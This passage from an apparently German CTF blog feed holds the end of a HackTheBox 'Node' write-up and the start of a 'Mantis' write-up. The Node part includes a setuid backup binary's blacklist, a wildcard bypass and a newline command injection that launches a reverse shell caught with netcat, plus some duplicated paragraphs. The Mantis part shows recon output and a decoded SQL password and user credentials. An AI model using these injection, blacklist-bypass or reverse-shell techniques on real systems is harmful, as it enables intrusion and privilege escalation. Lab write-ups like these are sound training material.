<p>Es wird mehrmals <strong>strcpy</strong> aufgerufen, allerdings wird nicht die Begrenzung überprüft. In der <strong>displayTarget</strong> Funktion tritt dann ein <strong>overflow</strong> und ein <strong>segfault</strong> auf. Damit dies passiert müssen folgende 3 Kriterien erfüllt werden.</p>
<ol>
<li>Das 1. muss ungleich <strong>-q</strong> sein, damit das Programm nicht im quiet mode gestartet wird.</li>
<li>Das 2. Argument muss einen gültigen Key enthalten</li>
<li>Das 3. Argument enthält einen 508 characters langen String.</li>
</ol>
<p>Vielen Dank für&rsquo;s durchlesen. :)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil strchr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#39;|&#39;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil strstr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#34;//&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span> strstr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#34;/etc&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil strcpy<span style="color:#f92672">(</span>0xffb1c24b, <span style="color:#e6db74">&#34;arg3&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c24b getpid<span style="color:#f92672">()</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">6034</span> time<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1520597049</span> clock<span style="color:#f92672">(</span>0, 0, 0, 0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">7799</span> srand<span style="color:#f92672">(</span>0x4885486b, 0xc864d874, 0x4885486b, 0x804918c<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> rand<span style="color:#f92672">(</span>0, 0, 0, 0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xb41e2b0 sprintf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/tmp/.backup_188867248&#34;</span>, <span style="color:#e6db74">&#34;/tmp/.backup_%i&#34;</span>, 188867248<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">22</span> sprintf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/usr/bin/zip -r -P magicword /tmp/.backup_188867248 arg3 &gt; /dev/null&#34;</span>, <span style="color:#e6db74">&#34;/usr/bin/zip -r -P magicword %s %s &gt; /dev/null&#34;</span>, <span style="color:#e6db74">&#34;/tmp/.backup_188867248&#34;</span>, <span style="color:#e6db74">&#34;arg3&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">65</span> system<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/usr/bin/zip -r -P magicword /tmp/.backup_188867248 arg3 &gt; /dev/null&#34;</span> &lt;no <span style="color:#66d9ef">return</span> ...&gt; --- SIGCHLD <span style="color:#f92672">(</span>Child exited<span style="color:#f92672">)</span> --- &lt;... system resumed&gt; <span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">3072</span> access<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/tmp/.backup_188867248&#34;</span>, 0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1 remove<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/tmp/.backup_188867248&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1 fclose<span style="color:#f92672">(</span>0x9881160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> +++ exited <span style="color:#f92672">(</span>status 0<span style="color:#f92672">)</span> +++
</span></span></code></pre></div><p>Das 3. Argument gibt also an, von welchem Verzeichnis ( oder welcher Datei ) eine Zip Datei erstellt werden soll. Dafür wird der Befehl <strong>system()</strong> benutzt. Außerdem wird das 3. Argument mit <strong>.. /root ; &amp; ` $ | //</strong> und <strong>/etc</strong> verglichen. Wenn das 3. Argument einen dieser Strings enthält, bekommen wir eine Zip Datei, welche nur ein Trollface enthält.</p>
<p>Jetzt gibt es verschiedene Methoden wie wir vorgehen können.</p>
<h2 id="1-wildcards-1">1. Wildcards</h2>
<p>Das ist die einfachste Methode. Wir wollen an den Inhalt von <strong>/root/root.txt</strong>, aber <strong>/root</strong> ist auf der Blacklist. Um diese zu entgehen können wir <a href="https://wiki.ubuntuusers.de/Bash/#Wildcards">Wildcards</a> benutzen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r??t/r??t.txt
</span></span></code></pre></div><p>oder</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r*t/r*t.txt
</span></span></code></pre></div><h2 id="2-newline-1">2. Newline</h2>
<p>Zuerst ändern wir den Port bei unserem Reverse Shell Skript <strong>/tmp/reverse.js</strong>. Dann lassen wir NetCat diesen Port abhören.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>nc -lnvp <span style="color:#ae81ff">4445</span>
</span></span><span style="display:flex;"><span>shell
</span></span></code></pre></div><p>Jetzt können wir als 3. Argument <strong>\n</strong> benutzen, damit <strong>system()</strong> einen weiteren Befehl ausführt. Z.B. unser Skript.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>nc -lnvp <span style="color:#ae81ff">4445</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">4445</span> ...
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>10.10.14.52<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.10.58<span style="color:#f92672">]</span> <span style="color:#ae81ff">55838</span>
</span></span><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>root
</span></span><span style="display:flex;"><span>python -c <span style="color:#e6db74">&#34;import pty; pty.spawn(&#39;/bin/bash&#39;)&#34;</span>
</span></span><span style="display:flex;"><span>root@node:/usr/local/bin# cat /root/root.txt
</span></span><span style="display:flex;"><span>172#########ZENSIERT#########be0
</span></span><span style="display:flex;"><span>root@node:/usr/local/bin# cat /home/tom/user.txt
</span></span><span style="display:flex;"><span>e11#########ZENSIERT#########1b1
</span></span><span style="display:flex;"><span><span style="color:#75715e">## 3\. Buffer Overflow</span>
</span></span></code></pre></div><p>Es wird mehrmals <strong>strcpy</strong> aufgerufen, allerdings wird nicht die Begrenzung überprüft. In der <strong>displayTarget</strong> Funktion tritt dann ein <strong>overflow</strong> und ein <strong>segfault</strong> auf. Damit dies passiert müssen folgende 3 Kriterien erfüllt werden.</p>
<ol>
<li>Das 1. muss ungleich <strong>-q</strong> sein, damit das Programm nicht im quiet mode gestartet wird.</li>
<li>Das 2. Argument muss einen gültigen Key enthalten</li>
<li>Das 3. Argument enthält einen 508 characters langen String.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil strchr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#39;|&#39;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil strstr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#34;//&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span> strstr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#34;/etc&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil strcpy<span style="color:#f92672">(</span>0xffb1c24b, <span style="color:#e6db74">&#34;arg3&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c24b getpid<span style="color:#f92672">()</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">6034</span> time<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1520597049</span> clock<span style="color:#f92672">(</span>0, 0, 0, 0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">7799</span> srand<span style="color:#f92672">(</span>0x4885486b, 0xc864d874, 0x4885486b, 0x804918c<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> rand<span style="color:#f92672">(</span>0, 0, 0, 0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xb41e2b0 sprintf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/tmp/.backup_188867248&#34;</span>, <span style="color:#e6db74">&#34;/tmp/.backup_%i&#34;</span>, 188867248<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">22</span> sprintf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/usr/bin/zip -r -P magicword /tmp/.backup_188867248 arg3 &gt; /dev/null&#34;</span>, <span style="color:#e6db74">&#34;/usr/bin/zip -r -P magicword %s %s &gt; /dev/null&#34;</span>, <span style="color:#e6db74">&#34;/tmp/.backup_188867248&#34;</span>, <span style="color:#e6db74">&#34;arg3&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">65</span> system<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/usr/bin/zip -r -P magicword /tmp/.backup_188867248 arg3 &gt; /dev/null&#34;</span> &lt;no <span style="color:#66d9ef">return</span> ...&gt; --- SIGCHLD <span style="color:#f92672">(</span>Child exited<span style="color:#f92672">)</span> --- &lt;... system resumed&gt; <span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">3072</span> access<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/tmp/.backup_188867248&#34;</span>, 0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1 remove<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/tmp/.backup_188867248&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1 fclose<span style="color:#f92672">(</span>0x9881160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> +++ exited <span style="color:#f92672">(</span>status 0<span style="color:#f92672">)</span> +++
</span></span></code></pre></div><p>Das 3. Argument gibt also an, von welchem Verzeichnis ( oder welcher Datei ) eine Zip Datei erstellt werden soll. Dafür wird der Befehl <strong>system()</strong> benutzt. Außerdem wird das 3. Argument mit <strong>.. /root ; &amp; ` $ | //</strong> und <strong>/etc</strong> verglichen. Wenn das 3. Argument einen dieser Strings enthält, bekommen wir eine Zip Datei, welche nur ein Trollface enthält.</p>
<p>Vielen Dank für&rsquo;s durchlesen. :)</p>
]]></content></item><item><title>HackTheBox - Mantis WriteUp | Tipps + Anleitung</title><link>https://m10x.de/posts/2018/02/hackthebox-mantis-writeup-tipps--anleitung/</link><pubDate>Mon, 26 Feb 2018 15:28:56 +0100</pubDate><guid>https://m10x.de/posts/2018/02/hackthebox-mantis-writeup-tipps--anleitung/</guid><description>Mantis ist eine der schwierigeren CTF Challenges von HackTheBox. Allerdings ist die Mantis relativ einfach, wenn man weiß, was man macht.
Tipps Port 8080 ist nicht der richtige HTTP Port. Außerdem sollte eine größere Wörterliste für das Directory Bruteforcing benutzt werden. Um an User und Root zu kommen, musst du einen Exploit für die kritische Kerberos Schwachstelle MS14-068 benutzen. GoldenPac.py von Impacket, kann es dir einfacher machen. Video Anleitung Als erstes machen wir wie immer einen Nmap-Scan.</description><content type="html"><![CDATA[<p><a href="https://www.hackthebox.eu/home/machines/profile/98">Mantis</a> ist eine der schwierigeren CTF Challenges von <a href="https://hackthebox.eu/">HackTheBox</a>. Allerdings ist die <a href="https://www.hackthebox.eu/home/machines/profile/98">Mantis</a> relativ einfach, wenn man weiß, was man macht.</p>
<p><a href="https://imgur.com/GREBRkf"><img alt="wertung" src="https://imgur.com/GREBRkf.jpg"></a></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<ul>
<li>Port 8080 ist nicht der richtige HTTP Port. Außerdem sollte eine größere Wörterliste für das Directory Bruteforcing benutzt werden.</li>
<li>Um an User und Root zu kommen, musst du einen Exploit für die kritische Kerberos Schwachstelle <a href="https://docs.microsoft.com/de-de/security-updates/SecurityBulletins/2014/ms14-068">MS14-068</a> benutzen.</li>
<li>GoldenPac.py von <a href="https://github.com/CoreSecurity/impacket">Impacket</a>, kann es dir einfacher machen.</li>
</ul>
<h2 id="video"><strong>Video</strong></h2>
<p><a href="http://www.youtube.com/watch?v=mTuHL0SHDVY"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/mTuHL0SHDVY/0.jpg"></a></p>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>Als erstes machen wir wie immer einen Nmap-Scan. Wir scannen alle Ports mit <strong>-p-</strong> und lassen uns mit <strong>-A</strong> Informationen zum einen zu den jeweiligen Services anzeigen und zum anderen ein paar Skripte laufen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nmap -A -p- 10.10.10.52
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE       VERSION
</span></span><span style="display:flex;"><span>53/tcp    open  domain        Microsoft DNS 6.1.7601
</span></span><span style="display:flex;"><span>| dns-nsid: 
</span></span><span style="display:flex;"><span>|_ bind.version: Microsoft DNS 6.1.7601 <span style="color:#f92672">(</span>1DB15CD4<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>88/tcp    open  tcpwrapped
</span></span><span style="display:flex;"><span>135/tcp   open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
</span></span><span style="display:flex;"><span>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP <span style="color:#f92672">(</span>Domain: htb.local, Site: Default-First-Site-Name<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>445/tcp   open  microsoft-ds  Windows Server <span style="color:#ae81ff">2008</span> R2 Standard <span style="color:#ae81ff">7601</span> Service Pack <span style="color:#ae81ff">1</span> microsoft-ds <span style="color:#f92672">(</span>workgroup: HTB<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>464/tcp   open  tcpwrapped
</span></span><span style="display:flex;"><span>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
</span></span><span style="display:flex;"><span>636/tcp   open  tcpwrapped
</span></span><span style="display:flex;"><span>1337/tcp  open  http          Microsoft IIS httpd 7.5
</span></span><span style="display:flex;"><span>| http-methods: 
</span></span><span style="display:flex;"><span>|_ Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-IIS/7.5
</span></span><span style="display:flex;"><span>|_http-title: IIS7
</span></span><span style="display:flex;"><span>1433/tcp  open  ms-sql-s      Microsoft SQL Server <span style="color:#ae81ff">2014</span> 12.00.2000.00; RTM
</span></span><span style="display:flex;"><span>| ms-sql-ntlm-info: 
</span></span><span style="display:flex;"><span>| Target_Name: HTB
</span></span><span style="display:flex;"><span>| NetBIOS_Domain_Name: HTB
</span></span><span style="display:flex;"><span>| NetBIOS_Computer_Name: MANTIS
</span></span><span style="display:flex;"><span>| DNS_Domain_Name: htb.local
</span></span><span style="display:flex;"><span>| DNS_Computer_Name: mantis.htb.local
</span></span><span style="display:flex;"><span>| DNS_Tree_Name: htb.local
</span></span><span style="display:flex;"><span>|_ Product_Version: 6.1.7601
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>SSL_Self_Signed_Fallback
</span></span><span style="display:flex;"><span>| Not valid before: 2018-02-26T05:06:38
</span></span><span style="display:flex;"><span>|_Not valid after: 2048-02-26T05:06:38
</span></span><span style="display:flex;"><span>|_ssl-date: 2018-02-26T14:24:03+00:00; 0s from scanner time.
</span></span><span style="display:flex;"><span>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP <span style="color:#f92672">(</span>Domain: htb.local, Site: Default-First-Site-Name<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>3269/tcp  open  tcpwrapped
</span></span><span style="display:flex;"><span>3389/tcp  open  ms-wbt-server Microsoft Terminal Service
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>mantis.htb.local
</span></span><span style="display:flex;"><span>| Not valid before: 2018-02-25T13:21:18
</span></span><span style="display:flex;"><span>|_Not valid after: 2018-08-27T13:21:18
</span></span><span style="display:flex;"><span>|_ssl-date: 2018-02-26T14:24:06+00:00; 0s from scanner time.
</span></span><span style="display:flex;"><span>5722/tcp  open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>8080/tcp  open  http          Microsoft IIS httpd 7.5
</span></span><span style="display:flex;"><span>|_http-open-proxy: Proxy might be redirecting requests
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-IIS/7.5
</span></span><span style="display:flex;"><span>|_http-title: Tossed Salad - Blog
</span></span><span style="display:flex;"><span>9389/tcp  open  mc-nmf        .NET Message Framing
</span></span><span style="display:flex;"><span>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 <span style="color:#f92672">(</span>SSDP/UPnP<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-HTTPAPI/2.0
</span></span><span style="display:flex;"><span>|_http-title: Not Found
</span></span><span style="display:flex;"><span>49152/tcp open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49153/tcp open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49154/tcp open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49155/tcp open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
</span></span><span style="display:flex;"><span>49158/tcp open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49164/tcp open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49166/tcp open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49168/tcp open  msrpc         Microsoft Windows RPC
</span></span><span style="display:flex;"><span>50255/tcp open  unknown
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>| ms-sql-info: 
</span></span><span style="display:flex;"><span>| 10.10.10.52:1433: 
</span></span><span style="display:flex;"><span>| Version: 
</span></span><span style="display:flex;"><span>| name: Microsoft SQL Server <span style="color:#ae81ff">2014</span> RTM
</span></span><span style="display:flex;"><span>| number: 12.00.2000.00
</span></span><span style="display:flex;"><span>| Product: Microsoft SQL Server <span style="color:#ae81ff">2014</span>
</span></span><span style="display:flex;"><span>| Service pack level: RTM
</span></span><span style="display:flex;"><span>| Post-SP patches applied: false
</span></span><span style="display:flex;"><span>|_ TCP port: <span style="color:#ae81ff">1433</span>
</span></span><span style="display:flex;"><span>| smb-os-discovery: 
</span></span><span style="display:flex;"><span>| OS: Windows Server <span style="color:#ae81ff">2008</span> R2 Standard <span style="color:#ae81ff">7601</span> Service Pack <span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>Windows Server <span style="color:#ae81ff">2008</span> R2 Standard 6.1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
</span></span><span style="display:flex;"><span>| Computer name: mantis
</span></span><span style="display:flex;"><span>| NetBIOS computer name: MANTIS<span style="color:#ae81ff">\x</span><span style="color:#ae81ff">00</span>
</span></span><span style="display:flex;"><span>| Domain name: htb.local
</span></span><span style="display:flex;"><span>| Forest name: htb.local
</span></span><span style="display:flex;"><span>| FQDN: mantis.htb.local
</span></span><span style="display:flex;"><span>|_ System time: 2018-02-26T09:24:06-05:00
</span></span><span style="display:flex;"><span>| smb-security-mode: 
</span></span><span style="display:flex;"><span>| account_used: guest
</span></span><span style="display:flex;"><span>| authentication_level: user
</span></span><span style="display:flex;"><span>| challenge_response: supported
</span></span><span style="display:flex;"><span>|_ message_signing: required
</span></span><span style="display:flex;"><span>| smb2-security-mode: 
</span></span><span style="display:flex;"><span>| 2.02: 
</span></span><span style="display:flex;"><span>|_ Message signing enabled and required
</span></span><span style="display:flex;"><span>| smb2-time: 
</span></span><span style="display:flex;"><span>| date: 2018-02-26 15:24:06
</span></span><span style="display:flex;"><span>|_ start_date: 2018-02-26 06:06:11
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Bei Port <strong>1337</strong> läuft ein HTTP-Server. Das Skript <strong>smb-os-discovery</strong> findet heraus, dass das Betriebssystem <strong>Windows Server 2008 R2 Service Pack 1</strong>, der Computer-Name <strong>mantis</strong> und der Domain-Name <strong>htb.local</strong> ist. Diese Informationen werden uns später noch nützlich sein. Außerdem läuft auf Port <strong>1433</strong> ein <strong>Microsoft SQL Server</strong>.</p>
<p>Als nächstes sehen wir nach, welche Verzeichnisse wir finden können.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# gobuster -u 10.10.10.52:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t <span style="color:#ae81ff">25</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Gobuster v1.2 OJ Reeves <span style="color:#f92672">(</span>@TheColonial<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Mode : dir
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Url/Domain : http://10.10.10.52:1337/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Threads : <span style="color:#ae81ff">25</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Status codes : 200,204,301,302,307
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span><span style="display:flex;"><span>/secure_notes <span style="color:#f92672">(</span>Status: 301<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span></code></pre></div><p><strong>secure_notes</strong> ist das einzige Verzeichnis, welches gefunden wurde.</p>
<p>Sehen wir uns <strong>secure_notes</strong> mal an.</p>
<p><a href="https://imgur.com/Dcz52w6"><img alt="secure notes" src="https://imgur.com/Dcz52w6.jpg"></a></p>
<p>Wir sehen zwei Dateien. <strong>web.config</strong> ist uninteressant, aber **dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt **hat einige interessante Informationen für uns. Der Inhalt der Datei ist wie folgt:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>1. Download OrchardCMS
</span></span><span style="display:flex;"><span>2. Download SQL server <span style="color:#ae81ff">2014</span> Express ,create user <span style="color:#e6db74">&#34;admin&#34;</span>,and create orcharddb database
</span></span><span style="display:flex;"><span>3. Launch IIS and add new website and point to Orchard CMS folder location.
</span></span><span style="display:flex;"><span>4. Launch browser and navigate to http://localhost:8080
</span></span><span style="display:flex;"><span>5. Set admin password and configure sQL server connection string.
</span></span><span style="display:flex;"><span>6. Add blog pages with admin user.
</span></span></code></pre></div><p>Es wird also wahrscheinlich ein <strong>SQL server 2014 Express</strong> benutzt, welcher eine Datenbank namens <strong>orcharddb</strong> mit dem Benutzer <strong>admin</strong> hat.</p>
<p>Die Text-Datei hat einen merkwürdigen Namen, der nach einer Base64 Kodierung aussieht.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d
</span></span><span style="display:flex;"><span>6d2424716c5f53405f504073735730726421
</span></span></code></pre></div><p>Der String den wir nach der Dekodierung erhalten, sieht nach Hexadezimal aus, da nur Buchstaben bis F und Zahlen vorkommen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# echo 6d2424716c5f53405f504073735730726421 | xxd -r -p
</span></span><span style="display:flex;"><span>m$ql_S@_P@ssW0rd!
</span></span></code></pre></div><p>Wir haben anscheinen ein Passwort erhalten.</p>
<p>Versuchen wir uns mal mit dem Benutzernamen <strong>admin</strong> und dem Passwort <strong>m$$ql_S@_P@ssW0rd!</strong> bei der SQL-Datenbank anzumelden. Ich benutze dafür DBeaver.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# dbeaver
</span></span></code></pre></div><p>Als erstes wählen wir <strong>MS SQL Server</strong> aus.</p>
<p><a href="https://imgur.com/hJQ4dcp"><img alt="ms sql" src="https://imgur.com/hJQ4dcp.jpg"></a></p>
<p>Dann müssen noch die erforderlichen Daten eingeben. Dank unseres Nmap-Scans wissen wir, dass der Standard-Port 1433 benutzt wird.</p>
<p><a href="https://imgur.com/ttb6nea"><img alt="einstellungen" src="https://imgur.com/ttb6nea.jpg"></a></p>
<p>Jetzt noch zwei Mal auf <strong>Next</strong> und dann auf <strong>Finish</strong> klicken.</p>
<p>Als nächstes suchen wir nach einer Tabelle mit Benutzer Zugangsdaten.</p>
<p><a href="https://imgur.com/3t0UZij"><img alt="tables" src="https://imgur.com/3t0UZij.jpg"></a></p>
<p>Die Tabelle <strong>blog_Orchard_Users_UserPartRecord</strong> enthält Zugangsdaten für die Benutzer <strong>admin</strong> und <strong>James</strong>. Der Benutzer <strong>admin</strong> hat normalerweise ein verschlüsseltes Password, allerdings hat jemand anderes dieses zu 1111 geändert&hellip;</p>
<p>Beim Benutzer <strong>James</strong> ist es allerdings gewollt, dass sein Passwort nicht verschlüsselt ist. Merken wir uns also sein Passwort <strong>J@m3s_P@ssW0rd!</strong></p>
<p><a href="https://imgur.com/COpkwm4"><img alt="credentials" src="https://imgur.com/COpkwm4.jpg"></a></p>
<p>Für den nächsten Schritt müssen wir unsere <strong>/etc/hosts</strong> Datei bearbeiten, welche dafür benutzt wird um Rechnernamen in IP-Adressen aufzulösen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~/impacket# vi /etc/hosts
</span></span><span style="display:flex;"><span>
